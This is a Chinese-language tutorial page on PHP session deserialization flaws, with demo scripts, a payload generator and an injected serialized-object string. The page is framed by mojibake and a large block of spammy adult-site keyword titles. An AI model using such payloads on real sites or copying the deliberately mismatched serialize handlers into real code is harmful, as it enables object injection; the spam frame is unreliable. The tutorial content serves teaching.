成人在线亚洲_国产日韩视频一区二区三区_久久久国产精品_99国内精品久久久久久久

您的位置:首頁技術(shù)文章
文章詳情頁

PHP session反序列化漏洞超詳細(xì)講解

瀏覽:377日期:2022-06-06 16:50:53
目錄
  • session請(qǐng)求過程
  • session_start的作用
  • session存儲(chǔ)機(jī)制
  • session反序列化漏洞

session請(qǐng)求過程

當(dāng)?shù)谝淮卧L問網(wǎng)站時(shí),Seesion_start()函數(shù)就會(huì)創(chuàng)建一個(gè)唯一的Session ID,并自動(dòng)通過HTTP的響應(yīng)頭,將這個(gè)Session ID保存到客戶端Cookie中。同時(shí),也在服務(wù)器端創(chuàng)建一個(gè)以Session ID命名的文件,用于保存這個(gè)用戶的會(huì)話信息。當(dāng)同一個(gè)用戶再次訪問這個(gè)網(wǎng)站時(shí),也會(huì)自動(dòng)通過HTTP的請(qǐng)求頭將Cookie中保存的Seesion ID再攜帶過來,這時(shí)Session_start()函數(shù)就不會(huì)再去分配一個(gè)新的Session ID,而是在服務(wù)器的硬盤中去尋找和這個(gè)Session ID同名的Session文件,將這之前為這個(gè)用戶保存的會(huì)話信息讀出,在當(dāng)前腳本中應(yīng)用,達(dá)到跟蹤這個(gè)用戶的目的。

session_start的作用

當(dāng)會(huì)話自動(dòng)開始或者通過session_start()手動(dòng)開始的時(shí)候, PHP 內(nèi)部會(huì)依據(jù)客戶端傳來的PHPSESSID來獲取現(xiàn)有的對(duì)應(yīng)的會(huì)話數(shù)據(jù)(即session文件), PHP 會(huì)自動(dòng)反序列化session文件的內(nèi)容,并將之填充到 $_SESSION 超級(jí)全局變量中。如果不存在對(duì)應(yīng)的會(huì)話數(shù)據(jù),則創(chuàng)建名為sess_PHPSESSID(客戶端傳來的)的文件。如果客戶端未發(fā)送PHPSESSID,則創(chuàng)建一個(gè)由32個(gè)字母組成的PHPSESSID,并返回set-cookie。

session存儲(chǔ)機(jī)制

PHP中的Session中的內(nèi)容并不是放在內(nèi)存中的,而是以文件的方式來存儲(chǔ)的,存儲(chǔ)方式就是由配置項(xiàng)session.save_handler來進(jìn)行確定的,默認(rèn)是以文件的方式存儲(chǔ)。存儲(chǔ)的文件是以sess_sessionid來進(jìn)行命名的,文件的內(nèi)容就是Session值的序列化之后的內(nèi)容。

了解一下PHP Session在php.ini中主要存在以下配置項(xiàng):

在PHP中Session有三種序列化的方式,分別是php,php_serialize,php_binary,不同的引擎所對(duì)應(yīng)的Session的存儲(chǔ)的方式不同

php處理器:

php_binary處理器:

php_serialize處理器:

session反序列化漏洞

PHP在session存儲(chǔ)和讀取時(shí),都會(huì)有一個(gè)序列化和反序列化的過程,PHP內(nèi)置了多種處理器用于存取 $_SESSION 數(shù)據(jù),都會(huì)對(duì)數(shù)據(jù)進(jìn)行序列化和反序列化,PHP中的Session的實(shí)現(xiàn)是沒有的問題的,漏洞主要是由于使用不同的引擎來處理session文件造成的。

存在$_session變量賦值

使用php_serialize引擎來存儲(chǔ)session

session.php

<?phperror_reporting(0);ini_set("session.serialize_handler","php_serialize");session_start();$_SESSION["username"] = $_GET["user"];echo "<pre>";var_dump($_SESSION);echo "</pre>";?>

session2.php

<?phperror_reporting(0);ini_set("session.serialize_handler","php");session_start();class user{    var $name;    var $age;    function __wakeup(){echo "hello ".$this->name." !";    }}?>

分析:

在session.php中存儲(chǔ),這里要注意,因?yàn)閟ession.php存儲(chǔ)器使用了php.serialize,而session.php使用的是php,因此漏洞的主要原因在于不同的引擎對(duì)于豎杠'| '的解析產(chǎn)生歧義。

對(duì)于php_serialize引擎來說'| '可能只是一個(gè)正常的字符;但對(duì)于php引擎來說'| '就是分隔符,前面是$_SESSION['username']的鍵名,后面是GET參數(shù)經(jīng)過serialize序列化后的值。從而在解析的時(shí)候造成了歧義,導(dǎo)致其在解析Session文件時(shí)直接對(duì)' | '后的值進(jìn)行反序列化處理。

payload.php

<?phpclass user {    var $name;    var $age;}$a = new user();$a ->age="888";$a ->name="cc";echo serialize($a);?>

漏洞復(fù)現(xiàn):

|O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}

然后使用session2.php讀取:直接讀文件就可以

到此這篇關(guān)于PHP session反序列化漏洞超詳細(xì)講解的文章就介紹到這了,更多相關(guān)PHP session反序列化漏洞內(nèi)容請(qǐng)搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持!

標(biāo)簽: PHP
相關(guān)文章:
成人在线亚洲_国产日韩视频一区二区三区_久久久国产精品_99国内精品久久久久久久
91精品国产综合久久久久久| 久久久久久一二三区| 91精选在线观看| 日本不卡视频一二三区| 国产私拍一区| 亚洲女与黑人做爰| 欧美亚韩一区| 中文字幕免费一区| 成人的网站免费观看| 在线不卡a资源高清| 亚洲电影一区二区| 亚洲午夜精品一区二区| 欧美精品一区二区三区很污很色的 | 黄色资源网久久资源365| 久久精品人人| 亚洲成人av福利| 国产偷自视频区视频一区二区| 亚洲乱码日产精品bd| 欧美日韩精品免费观看视频完整| 精品少妇一区二区三区日产乱码 | 精品福利av| 日韩理论片网站| 亚洲精品乱码久久久久久蜜桃麻豆 | 欧美日韩精品一区视频| 裸体一区二区三区| 欧美另类久久久品| 免费成人美女在线观看| 欧美性大战久久久久久久蜜臀| 亚洲国产美女搞黄色| 免费亚洲一区| 日韩精品乱码av一区二区| 色国产综合视频| 综合欧美一区二区三区| 欧美黄色精品| 国产精品久久久久影院| 在线高清一区| 亚洲午夜一二三区视频| 老鸭窝毛片一区二区三区| 亚洲.国产.中文慕字在线| 色综合久久99| 久久se精品一区精品二区| 欧美肥妇bbw| 国产91对白在线观看九色| 欧美va日韩va| 欧美成熟视频| 1024精品合集| 久久青青草综合| 精品一二三四区| 欧美电影免费观看高清完整版在| 欧美一区二区三区另类| 亚洲欧美成aⅴ人在线观看| 香蕉av777xxx色综合一区| 蜜桃视频一区二区三区| 欧美一级免费观看| 欧美成人dvd在线视频| 亚洲男人的天堂在线观看| 亚洲一区日韩| 久久99热这里只有精品| 日韩精品中文字幕在线不卡尤物| 午夜精品亚洲| 午夜激情综合网| 欧美一区二区三区系列电影| 欧美+日本+国产+在线a∨观看| 综合久久久久久久| 色先锋久久av资源部| 高清国产午夜精品久久久久久| 中文字幕欧美一| 91搞黄在线观看| 成人av免费网站| 亚洲男同性视频| 欧美日韩aaaaa| 99久久99久久免费精品蜜臀| 国产精品久久一卡二卡| 久久精品日韩欧美| 成人在线视频一区二区| 国产精品天美传媒| 色婷婷久久久久swag精品| 国产mv日韩mv欧美| 中文字幕综合网| 在线观看亚洲一区| 成人黄色777网| 亚洲精品中文在线| 91精品婷婷国产综合久久竹菊| 欧美日一区二区在线观看| 天天免费综合色| 欧美一级午夜免费电影| 亚洲国产欧洲综合997久久| 热久久国产精品| 久久女同精品一区二区| 国产三区精品| 成人福利视频在线看| 亚洲bt欧美bt精品| 久久久av毛片精品| 色成年激情久久综合| 欧美在线观看天堂一区二区三区| 五月婷婷综合网| 精品国产在天天线2019| 久久精品天堂| 午夜久久影院| 久久精品国产精品亚洲精品| 国产精品久久夜| 欧美日韩国产一级| 欧美日韩三区| 狠狠色丁香婷婷综合| 亚洲精品视频在线看| 欧美一二三区在线| 国产精品日韩欧美一区| 成人国产精品视频| 日韩av中文在线观看| 国产精品毛片久久久久久| 欧美精品在线一区二区三区| 亚洲国内在线| 波多野结衣欧美| 视频一区视频二区在线观看| 欧美激情一区二区三区蜜桃视频| 欧美午夜电影网| 日韩五码在线| 成人午夜视频在线观看| 午夜精品一区二区三区免费视频| 欧美激情在线看| 欧美一区二区三区精品| 99国产精品视频免费观看一公开| 成人免费黄色大片| 日韩国产欧美一区二区三区| 国产精品美女久久久久久久久| 欧美二区三区91| 久久av最新网址| 韩日欧美一区| 97久久人人超碰| 国产盗摄精品一区二区三区在线| 亚洲1区2区3区视频| 亚洲天堂免费在线观看视频| 日韩欧美激情一区| 欧美日韩中文另类| 国产精品一二| 欧美日韩成人一区二区三区| 懂色av一区二区三区免费观看| 美女视频一区二区| 性欧美大战久久久久久久久| 自拍偷拍欧美激情| 欧美激情艳妇裸体舞| 日韩一区二区免费视频| 色天天综合久久久久综合片| 亚洲久久在线| 欧美精品二区| 99久久久免费精品国产一区二区| 国产福利精品导航| 久久成人18免费观看| 亚洲成人av免费| 亚洲曰韩产成在线| 亚洲黄色在线视频| 亚洲少妇屁股交4| 国产欧美一区二区三区沐欲| 26uuu国产电影一区二区| 91精品婷婷国产综合久久性色 | 七七婷婷婷婷精品国产| 亚洲一区二区av电影| 亚洲婷婷在线视频| 国产精品视频一二三区| 精品盗摄一区二区三区| 91精品国产色综合久久ai换脸| 欧美午夜一区二区三区| 欧美亚洲综合另类| 91黄色激情网站| 色天天综合色天天久久| 久久字幕精品一区| 久久精品午夜| 久久精品人人| 国产九区一区在线| 亚洲欧美日韩精品一区二区| 9色国产精品| 亚洲精品在线观看免费| 精品999网站| 亚洲午夜精品一区二区| 欧美区一区二| 激情欧美日韩| 最新成人av网站| 99视频在线精品国自产拍免费观看| 精品9999| 国产欧美二区| 欧美综合国产| 色狠狠综合天天综合综合| 色欧美片视频在线观看在线视频| 久久综合伊人| 欧美亚洲国产一区二区三区| 在线观看免费亚洲| 欧美日韩亚洲综合一区二区三区| 欧美日韩国产高清一区二区三区 | 国产精品美女久久久久久久| 日韩一区在线播放| 亚洲免费av在线| 亚洲精品老司机| 亚洲国产一区二区a毛片| 香蕉久久一区二区不卡无毒影院| 亚洲动漫第一页| 日本亚洲三级在线| 狠狠色丁香婷婷综合| 成人免费视频视频在线观看免费| 成人动漫中文字幕| 欧美成人一区二区在线|